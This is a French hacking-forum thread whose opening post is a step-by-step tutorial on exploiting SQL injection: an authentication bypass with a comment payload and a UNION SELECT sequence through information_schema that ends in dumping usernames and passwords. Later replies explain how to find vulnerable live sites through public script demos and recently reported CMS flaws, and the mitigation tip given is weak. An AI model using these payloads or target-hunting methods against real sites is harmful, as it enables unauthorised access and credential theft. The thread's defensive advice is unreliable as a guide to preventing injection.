Comment exploiter une faille SQL Injection
|
29-01-2007, 04h32
(Modification du message : 22-09-2015, 21h51 par CyberSee.)
Message : #1
|
|
CyberSee
Admin fondateur de N-PN Messages : 1,721 Sujets : 287 Points: 158 Inscription : Jan 2012 |
Comment exploiter une faille SQL Injection
Bonjour à tous. Dans ce tuto, je vais vous expliquer comment exploiter une faille de type SQL injection, en décrivant de a-z les étapes et les façons de les détecter, en plus de vous fournir certain codage, pour pousser plus loin et contrôler le site en entier.
Qu’est-ce qu’une injection SQL? Pour comprendre le sens de cette faille, je vais d’abord devoir passer en revue certaine notions PHP. Prenons exemple sur un formulaire d’authentification, puisque c’est là que ce genre d’exploitation est la plus intéressante. Lorsque vous valider un formulaire, vos informations sont envoyées vers une page de validation, qui elle vérifie si le pseudo et le mot de passe sont correctes. Si oui, elle active les sessions et vous redirige vers la page des membres. Voici un codage vulnérable à une injection SQL (Structured Query Language). Le code PHP/HTML : Code PHP : <div class="form"> Maintenant explicitons, dans le code suivant , voilà la requete SQL : Code : $sql = "SELECT * FROM jeux_user WHERE user_login = '".$pseudo."' AND user_password = '".$pass."'"; celon cette requête SQL, il faut que le user_login ainsi que le user_password soit valide. Pour cela nous allons vérifier dans la table jeux_user qu'il y est le Login 'admin' et le password 'a', ainsi , si c'est le cas , ma requête va me retourner une ligne, je la stock dans un tableau : Citation :$res = $sql->fetchAll(); Ensuite je compte le nombre de ligne retourner: Citation :$res = count($res); Puis je fais mon petit test : Citation :if($res == 0){ Maintenant, je me rappel, quand SQL, nous pouvons faire passer des conditions en commentaire, a l'aide d'un '#', alors que se passerait-il si, à la fin de mon login, je rajoutais un '#' ? admin#, il ne se passe rien, accés refuser, pourquoi ça ? En faite, lorsque vous voulez exécuter du code SQL sur un serveur,il faut d'abord fermer la chaine de caractere, les personnes ayant déjà fais un language de prog comprendront, pour les autres, c'est simple il suffit d'ajouter un apostrophe : admin'# Avec l'apostrophe, le '#' n'est plus considérer comme une chaine de caractere, et donc on peut t'injecter le code ! Voilà donc comment le server interpret la requete : $sql = "SELECT * FROM jeux_user WHERE user_login = '".$pseudo."' // AND user_password = '".$pass."'"; Nous venons donc de mettre la condition password en commentaire, seul le login doit être a 'true'. Pour un minimum de sécuriter vous pouvez faire votre requete en deux parties : Code : $sql = "SELECT * FROM jeux_user WHERE user_login = '".$pseudo."'"; Et penser a utiliser la fonction htmlspecialchars pour prévenir a tout autre type de faille ! Me voilà donc pour mon tout 1er tuto sur N-PN, soyez indulgent :< ! Tout d'abord, imaginons un site web ou vous pouvez voir les informations des différents utilisateurs : Code PHP : <?php Nous voilà donc sur le profile de l'admin par exemple, si vous rajouter une quote et qu'il y a une erreur, alors il y a une faille SQL ! Maintenant il nous faut le nombre de champs, par exemple, si vous lisez le code, vous voyer qu'il y a deux champs, user_login et user_mail, si vous faite un order by, vous irez seulement jusqu'a deux. Citation :profile.php?id=5 order by 2 <- Aucune erreur Citation :profile.php?id=5 order by 3 <- Erreur Voilà comment sera interpréter votre requête SQL : Code : SELECT user_login,user_mail FROM jeux_user WHERE user_id = 5 order by 2 Ensuite nous allons utiliser union all select qui permet l'affichage des données, pour trouver dans le cas suivant, la version de la BDD: Citation :profile.php?id=-5 union all select 1,version() Voilà la requete : Code : SELECT user_login,user_mail FROM jeux_user WHERE user_id = -5 union all select 1,version() version en 5.x sont exploitable ! Deux solution maintenant, soit vous êtes sur un CMS et vous connaissez la structure de la BDD et des tables, soit il vous faut la trouver par vous même ! group_concat(schema_name) information_schema.schemata La fonction group_concat permet de regrouper tous les résultats sur une ligne, schema_name est une table qui contient le nom de toute les base de données que vous avez. information_schema est une base donnée qui se génere automatiquement sous phpmyadmin, elle contient les différentes option et configuration de phpmyadmin, dont le nom de toute vos BDD, dans la table schemata ! Citation :profile.php?id=-5 union all select 1,group_concat(schema_name) FROM information_schema.schemata Voilà la requête envoyé au server : Code : SELECT user_login,user_mail FROM jeux_user WHERE user_id = -5 union all select 1,group_concat(schema_name) FROM information_schema.schemata Donc là vous sera retourner les différentes base : group_concat(table_name) Donc maintenant, il nous faut trouver les différentes table, pour cela on va encore utiliser la fonction groupe_concat, mais cette fois, sur table_name, qui encore une fois est dans information_schema Citation :profile.php?id=-5 union all select 1,group_concat(table_name) FROM information_schema.tables Bien évidement vous avez bien trop de table, le plus simple serait de rajouter une condition pour voir les tables qui nous intéresse Citation :profile.php?id=-5 union all select 1,group_concat(table_name) FROM information_schema.tables where table_schema = 'jeux' voilà côté server : Code : SELECT user_login,user_mail FROM jeux_user WHERE user_id = -5 union all select 1,group_concat(table_name) FROM information_schema.tables where table_schema = 'jeux' group_concat(column_name) Maintenant il nous faut les colonnes de cette table, nous allons encore utiliser la table information_schema, celle ci contient une table, column qui contient tout les colonnes de toute les tables, donc on a besoin de la colonne column_name, de la base information_schema et de la table columns ou nous avons comme condition table_name le nom de la table qui nous intéresse : Citation :profile.php?id=-5 union all select 1,group_concat(column_name) FROM information_schema.columns where table_name = 'jeux_user' voilà côté server : Code : SELECT user_login,user_mail FROM jeux_user WHERE user_id = -5 union all select 1,group_concat(column_name) FROM information_schema.columns where table_name = 'jeux_user' Maintenant il ne nous reste plus qu'a récupérer les données qui nous intéresse, donc se sera pour nous les colonnes user_login et user_password : Citation :profile.php?id=-5 union select user_login,user_password from jeux_user côté server : Code : SELECT user_login,user_mail FROM jeux_user WHERE user_id = -5 union select user_login,user_password from jeux_user Vous aurez donc l'identifiant avec le mdp qui apparaitron : Si vous avez des questions n'hésiter pas, ou si des explications ne sont pas claire, ou encore si je me suis tromper, dites le ( je m'excuse déjà pour les fautes d'orthographe :< ) . Soyez intelligent et restez WhiteHat! Par CyberSee et skii -> Merci à Skii pour sa contribution et avoir remis ce tuto au gout du jour! |
|
29-01-2007, 21h36
Message : #2
|
|
Nuxly
Bon membre Messages : 298 Sujets : 195 Points: 1 Inscription : Oct 2005 |
Comment exploiter une faille SQL Injection
excellent article!
PN: Move into the future
|
|
30-01-2007, 00h57
(Modification du message : 22-10-2011, 01h26 par Di0Sasm.)
Message : #3
|
|
CyberSee
Admin fondateur de N-PN Messages : 1,721 Sujets : 287 Points: 158 Inscription : Jan 2012 |
Comment exploiter une faille SQL Injection
Merci :-)
J'ai déjà en tête de vous expliquer la faille directory traversal... mais 2 tuto en 2 jour... hehe dossier à suivre. |
|
30-01-2007, 01h36
Message : #4
|
|
black-knight
Membre Messages : 39 Sujets : 5 Points: 0 Inscription : Nov 2005 |
Comment exploiter une faille SQL Injection
un 2 éme k-otik du forum good job.
|
|
31-01-2007, 02h01
Message : #5
|
|
Padboy
Bon membre Messages : 745 Sujets : 19 Points: 5 Inscription : Oct 2005 |
Comment exploiter une faille SQL Injection
Félicitation pour la qualité de ton article.
|
|
31-01-2007, 19h11
(Modification du message : 22-10-2011, 01h28 par Di0Sasm.)
Message : #6
|
|
zijeti
Newbie Messages : 1 Sujets : 0 Points: 0 Inscription : Jan 2007 |
Comment exploiter une faille SQL Injection
C'est très difficile j'arrive pas à comprendre
|
|
31-01-2007, 20h30
Message : #7
|
|
LuciFer
Newbie Messages : 13 Sujets : 3 Points: 0 Inscription : Jan 2007 |
Comment exploiter une faille SQL Injection
sympa le tuto
|
|
11-02-2007, 06h59
(Modification du message : 22-10-2011, 01h29 par Di0Sasm.)
Message : #8
|
|
CyberSee
Admin fondateur de N-PN Messages : 1,721 Sujets : 287 Points: 158 Inscription : Jan 2012 |
Comment exploiter une faille SQL Injection
zijeti a écrit :C'est très difficile j'arrive pas à comprendreTu n’arrives pas à comprendre quoi exactement? Si tu ne comprend pas, c'est simplement que tu n'est peut-être pas encore rendu à ce niveaux. Commence pas maîtriser le PHP avant de chercher à exploiter des failles ;-) C'est plus facile si on commence par le début. |
|
13-02-2007, 18h04
(Modification du message : 01-01-2012, 23h34 par Di0Sasm.)
Message : #9
|
|
-zaymin- Non-enregistré |
Comment exploiter une faille SQL Injection
Ce type de faille est présent sur quel genre de site ?
|
|
03-06-2011, 03h08
(Modification du message : 01-01-2012, 23h35 par Di0Sasm.)
Message : #10
|
|
CyberSee
Admin fondateur de N-PN Messages : 1,721 Sujets : 287 Points: 158 Inscription : Jan 2012 |
Comment exploiter une faille SQL Injection
Sur des milliers de sites en PHP zaymin. Partout sur le web! Je peux en trouver 2 à l'heure lol mais la meilleure place pour chercher, c'est sur des scripts qui se retrouvent publier sur http://www.hotscripts.com. Quand la démo est vulnérable, tu viens de trouver en même temps des centaines et des centaines de sites vulnérables et en plus, tu peux facilement savoir à quoi le code source ressemble.
|
|
08-06-2011, 22h24
(Modification du message : 22-10-2011, 01h37 par Di0Sasm.)
Message : #11
|
|
Rocket38
Newbie Messages : 3 Sujets : 0 Points: 0 Inscription : Jan 2007 |
Comment exploiter une faille SQL Injection
Oui mais on ne peut pas savoir lequel ?
Je ne connais pas bien les failles web. Mais comment ce fait il que les failles sql soit si répandue alors que cela n'a pas l'air si compliqué de les éviter ? |
|
09-06-2011, 00h35
(Modification du message : 05-09-2015, 13h30 par Di0Sasm.)
Message : #12
|
|
CyberSee
Admin fondateur de N-PN Messages : 1,721 Sujets : 287 Points: 158 Inscription : Jan 2012 |
Comment exploiter une faille SQL Injection
Eh bien la meilleur façon de trouver des CMS vulnérables est de rechercher ceux qui ont étaient rapporté dans les dernières 24h. Il existe justement une fonction dans google que j'aime bien dans recherche avancé qui permet de faire ce genre de filtration.
Le problème avec les failles SQL c'est que dans un site internet, il y a des milliers de requêtes et qu'en oublier une fois de temps en temps sans faire exprès est bien fréquent ... c'est pas tout les programmeurs qui mettent sur pied une class à toute épreuve pour les requêtes. |
|
09-06-2011, 09h01
(Modification du message : 22-10-2011, 01h50 par Di0Sasm.)
Message : #13
|
|
Rocket38
Newbie Messages : 3 Sujets : 0 Points: 0 Inscription : Jan 2007 |
Comment exploiter une faille SQL Injection
Oui d'accord pour les CMS mais ça c'est des failles toutes faites moi je veux comprendre comment cela fonctionne.
Imaginons que tu testes sur un site, le sigle quote (') Est ce que s'il te renvoie une erreur SQL il est forcément vulnérable? J'ai testé sur un site qui me renvoi cette requête SELECT * FROM users WHERE lower(displayname)=''' or email='\''; 2°) qu'est ce qui te plait dans les champs avancés, car le lien que tu m'a mis ne me permet pas de trouver des sites vulnérables ou alors j'ai pas compris. Merci pour ta réponse |
|
09-06-2011, 14h39
(Modification du message : 22-10-2011, 01h51 par Di0Sasm.)
Message : #14
|
|
AntoLeNice
Newbie Messages : 13 Sujets : 1 Points: 0 Inscription : Jun 2011 |
Comment exploiter une faille SQL Injection
N'importe quel site qui utilise des requêtes SQL et qui ne protège pas les champs de ses requêtes est vulnérable. Généralement, les gens utilisent les fonctions mysql_escape_string ou encore addslashes pour éviter ça, mais ceux qui ne le font pas, et qui font les requêtes directement avec les variable $_GET, ils ont foutus. Donc oui, si tu entres un apostrophe et qu'il y a une erreur, il est vulnérable.
|
|
10-06-2011, 09h51
(Modification du message : 22-10-2011, 01h52 par Di0Sasm.)
Message : #15
|
|
Rocket38
Newbie Messages : 3 Sujets : 0 Points: 0 Inscription : Jan 2007 |
Comment exploiter une faille SQL Injection
Ok merci
Encore une petit question imaginons qu'un site soit vulnérable, que les mots de passe soit crypté et que le formulaire de connexion soit pas sensible aux injection sql (or 1=1). Par contre on peut faire des injections à partir de l'url. Quel autre façon ya t'il pour se connecter ? |
|
Sujets apparemment similaires… | |||||
Sujet | Auteur | Réponses | Affichages | Dernier message | |
Comment est exploitée une faille XSS | CyberSee | 37 | 12,379 |
01-09-2015, 16h07 Dernier message: CyberSee |
|
[Tuto]Faille CRLF | OverDreams | 15 | 4,638 |
18-06-2013, 12h33 Dernier message: Hypnoze57 |
|
[Faille WEB] LFI | Swissky | 10 | 3,029 |
25-02-2013, 22h04 Dernier message: InstinctHack |
|
[Faille Web] Full Path Disclosure | Swissky | 4 | 1,639 |
07-12-2012, 08h52 Dernier message: Shirobi |
|
Comment utiliser Metasploit | EpicOut | 4 | 1,521 |
15-09-2012, 20h47 Dernier message: Swissky |
|
Comment fonctionne les attaques de type IP-Spoofing | Apophis | 4 | 1,719 |
18-02-2007, 12h38 Dernier message: shutdownfuri |
Utilisateur(s) parcourant ce sujet : 22 visiteur(s)